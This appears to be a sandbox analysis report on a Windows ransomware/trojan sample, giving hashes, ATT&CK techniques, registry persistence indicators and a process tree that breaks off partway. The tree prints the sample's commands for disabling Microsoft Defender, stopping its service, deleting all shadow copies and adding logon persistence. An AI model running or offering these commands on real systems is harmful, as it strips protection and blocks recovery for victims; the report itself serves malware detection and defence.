b28ecc71578459db2ded9ef8953f968da9f5b35b464abb38cf0dcdb6c530767e

Analysis

user interaction
yes
max time kernel
5s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/06/2026, 16:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
x_plfg.exe
Size 339KB
Sample260627-val93act8l
SHA256 b28ecc71578459db2ded9ef8953f968da9f5b35b464abb38cf0dcdb6c530767e
MD5 2a4c8a830acaace28477fca36eeab80e
SHA1 7fd6ff482f741bccdaad0696cb8acef576efc898
SHA512 750d166fff83debc93a026eed55d391b5240708cf2f6d00641246e1b80550e513556fbb3a62884866a116d4a0ed5c10f134b498a6a86b6ca9a02e02ab465c27c
SSDEEP 6144:ggnHh1WWgGFHLXIaxQ9K2V+1JFC9P+a98MEUU/Pmdjd:gGrJLXPQ9K2gC9Wa6Bk
TLSH
T1C7742A6BEBA348F8C55BD17496E397B2B031BC9C03247D1E1694C7323F24E641FA9968
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution impact persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,,\"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 16 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Adds policy Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\WinMonitor = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\UpdateHelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{HelperAgentSysHelper-lvrium}	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{HelperAgentSysHelper-lvrium}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Boot or Logon Autostart Execution: Port Monitors 1 TTPs 2 IoCs

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

persistence

Port Monitors

T1547.010

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\MsProc	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\MsProc\Driver = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
6528	powershell.exe
2880	powershell.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinCore\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Environment\UserInitMprLogonScript = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Win64 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Svc64 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\HostAgent = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Software\Microsoft\Windows\CurrentVersion\Run\Runtime64 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6528	powershell.exe
2880	powershell.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5944	sc.exe
4888	sc.exe
2232	sc.exe
5272	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4752	vssadmin.exe
2992	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
6528	powershell.exe
6528	powershell.exe
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	6528	powershell.exe
Token: SeIncreaseQuotaPrivilege	6528	powershell.exe
Token: SeSecurityPrivilege	6528	powershell.exe
Token: SeTakeOwnershipPrivilege	6528	powershell.exe
Token: SeLoadDriverPrivilege	6528	powershell.exe
Token: SeSystemProfilePrivilege	6528	powershell.exe
Token: SeSystemtimePrivilege	6528	powershell.exe
Token: SeProfSingleProcessPrivilege	6528	powershell.exe
Token: SeIncBasePriorityPrivilege	6528	powershell.exe
Token: SeCreatePagefilePrivilege	6528	powershell.exe
Token: SeBackupPrivilege	6528	powershell.exe
Token: SeRestorePrivilege	6528	powershell.exe
Token: SeShutdownPrivilege	6528	powershell.exe
Token: SeDebugPrivilege	6528	powershell.exe
Token: SeSystemEnvironmentPrivilege	6528	powershell.exe
Token: SeRemoteShutdownPrivilege	6528	powershell.exe
Token: SeUndockPrivilege	6528	powershell.exe
Token: SeManageVolumePrivilege	6528	powershell.exe
Token: 33	6528	powershell.exe
Token: 34	6528	powershell.exe
Token: 35	6528	powershell.exe
Token: 36	6528	powershell.exe
Token: SeBackupPrivilege	6412	vssvc.exe
Token: SeRestorePrivilege	6412	vssvc.exe
Token: SeAuditPrivilege	6412	vssvc.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeIncreaseQuotaPrivilege	2880	powershell.exe
Token: SeSecurityPrivilege	2880	powershell.exe
Token: SeTakeOwnershipPrivilege	2880	powershell.exe
Token: SeLoadDriverPrivilege	2880	powershell.exe
Token: SeSystemProfilePrivilege	2880	powershell.exe
Token: SeSystemtimePrivilege	2880	powershell.exe
Token: SeProfSingleProcessPrivilege	2880	powershell.exe
Token: SeIncBasePriorityPrivilege	2880	powershell.exe
Token: SeCreatePagefilePrivilege	2880	powershell.exe
Token: SeBackupPrivilege	2880	powershell.exe
Token: SeRestorePrivilege	2880	powershell.exe
Token: SeShutdownPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeSystemEnvironmentPrivilege	2880	powershell.exe
Token: SeRemoteShutdownPrivilege	2880	powershell.exe
Token: SeUndockPrivilege	2880	powershell.exe
Token: SeManageVolumePrivilege	2880	powershell.exe
Token: 33	2880	powershell.exe
Token: 34	2880	powershell.exe
Token: 35	2880	powershell.exe
Token: 36	2880	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6476 wrote to memory of 1204	6476	x_plfg.exe	90
PID 1204 wrote to memory of 6528	1204	cmd.exe	251
PID 6476 wrote to memory of 5692	6476	x_plfg.exe	94
PID 5692 wrote to memory of 5272	5692	cmd.exe	96
PID 6476 wrote to memory of 6252	6476	x_plfg.exe	97
PID 6252 wrote to memory of 2232	6252	cmd.exe	99
PID 6476 wrote to memory of 2584	6476	x_plfg.exe	100
PID 2584 wrote to memory of 2992	2584	cmd.exe	102
PID 6476 wrote to memory of 3908	6476	x_plfg.exe	105
PID 3908 wrote to memory of 1072	3908	cmd.exe	107
PID 3908 wrote to memory of 6356	3908	cmd.exe	108
PID 3908 wrote to memory of 5048	3908	cmd.exe	109
PID 3908 wrote to memory of 1904	3908	cmd.exe	110
PID 3908 wrote to memory of 3572	3908	cmd.exe	111
PID 3908 wrote to memory of 3796	3908	cmd.exe	112
PID 3908 wrote to memory of 4352	3908	cmd.exe	113
PID 3908 wrote to memory of 2652	3908	cmd.exe	114
PID 6476 wrote to memory of 6492	6476	x_plfg.exe	115
PID 6492 wrote to memory of 2880	6492	cmd.exe	117
PID 6476 wrote to memory of 7076	6476	x_plfg.exe	118
PID 7076 wrote to memory of 4888	7076	cmd.exe	120
PID 6476 wrote to memory of 5816	6476	x_plfg.exe	121
PID 5816 wrote to memory of 5944	5816	cmd.exe	123
PID 6476 wrote to memory of 5928	6476	x_plfg.exe	124
PID 5928 wrote to memory of 4752	5928	cmd.exe	126
PID 6476 wrote to memory of 4824	6476	x_plfg.exe	127
PID 4824 wrote to memory of 6308	4824	cmd.exe	2001
PID 4824 wrote to memory of 4584	4824	cmd.exe	130
PID 4824 wrote to memory of 4272	4824	cmd.exe	131
PID 4824 wrote to memory of 2948	4824	cmd.exe	132
PID 4824 wrote to memory of 2556	4824	cmd.exe	133
PID 4824 wrote to memory of 5568	4824	cmd.exe	134
PID 4824 wrote to memory of 5256	4824	cmd.exe	135
PID 4824 wrote to memory of 3948	4824	cmd.exe	136
PID 6476 wrote to memory of 932	6476	x_plfg.exe	137
PID 932 wrote to memory of 1988	932	cmd.exe	139
PID 1988 wrote to memory of 2896	1988	x_plfg.exe	140
PID 2896 wrote to memory of 6636	2896	cmd.exe	142
PID 6636 wrote to memory of 6084	6636	x_plfg.exe	143
PID 6084 wrote to memory of 3200	6084	cmd.exe	145
PID 3200 wrote to memory of 2532	3200	x_plfg.exe	146
PID 2532 wrote to memory of 6584	2532	cmd.exe	148
PID 6584 wrote to memory of 2412	6584	x_plfg.exe	149
PID 2412 wrote to memory of 2080	2412	cmd.exe	151
PID 2080 wrote to memory of 5888	2080	x_plfg.exe	152
PID 5888 wrote to memory of 2832	5888	cmd.exe	154
PID 2832 wrote to memory of 236	2832	x_plfg.exe	155
PID 236 wrote to memory of 6192	236	cmd.exe	157
PID 6192 wrote to memory of 2092	6192	x_plfg.exe	158
PID 2092 wrote to memory of 2236	2092	cmd.exe	160
PID 2236 wrote to memory of 2664	2236	x_plfg.exe	161
PID 2664 wrote to memory of 3840	2664	cmd.exe	163
PID 3840 wrote to memory of 3676	3840	x_plfg.exe	164
PID 3676 wrote to memory of 1480	3676	cmd.exe	166
PID 1480 wrote to memory of 3636	1480	x_plfg.exe	167
PID 3636 wrote to memory of 1364	3636	cmd.exe	169
PID 1364 wrote to memory of 5640	1364	x_plfg.exe	170
PID 5640 wrote to memory of 1132	5640	cmd.exe	172
PID 1132 wrote to memory of 1256	1132	x_plfg.exe	173
PID 1256 wrote to memory of 6780	1256	cmd.exe	175
PID 6780 wrote to memory of 6620	6780	x_plfg.exe	176
PID 6620 wrote to memory of 5724	6620	cmd.exe	178
PID 5724 wrote to memory of 2756	5724	x_plfg.exe	179
PID 2756 wrote to memory of 6256	2756	cmd.exe	181

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"
1⤵
- Modifies WinLogon for persistence
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Boot or Logon Autostart Execution: Port Monitors
- Event Triggered Execution: Image File Execution Options Injection
- Sets service image path in registry
- Registers new Windows logon scripts automatically executed at logon.
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:6476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5692
- - C:\Windows\system32\sc.exe
    sc config WinDefend start=disabled
    3⤵
    - Launches sc.exe
    PID:5272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6252
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:1072
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:6356
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5048
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1904
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3572
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
    3⤵
    PID:3796
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f
    3⤵
    PID:4352
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
    3⤵
    PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:7076
- - C:\Windows\system32\sc.exe
    sc config WinDefend start=disabled
    3⤵
    - Launches sc.exe
    PID:4888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5816
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:5944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5928
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:6308
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4584
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4272
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2948
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2556
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
    3⤵
    PID:5568
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f
    3⤵
    PID:5256
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
    3⤵
    PID:3948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /F /SC ONLOGON /TN "WinCore" /TR "\"C:\Users\Admin\AppData\Roaming\SysHost.exe\"" /RL HIGHEST
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:932
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1988
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2896
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:6636
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:6084
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3200
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2532
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:6584
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2412
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        Suspicious use of WriteProcessMemory
        
        PID:2080
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        Suspicious use of WriteProcessMemory
        
        PID:5888
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        Suspicious use of WriteProcessMemory
        
        PID:2832
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        Suspicious use of WriteProcessMemory
        
        PID:236
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        Suspicious use of WriteProcessMemory
        
        PID:6192
        
        C:\Windows\System32\cmd.exe
        
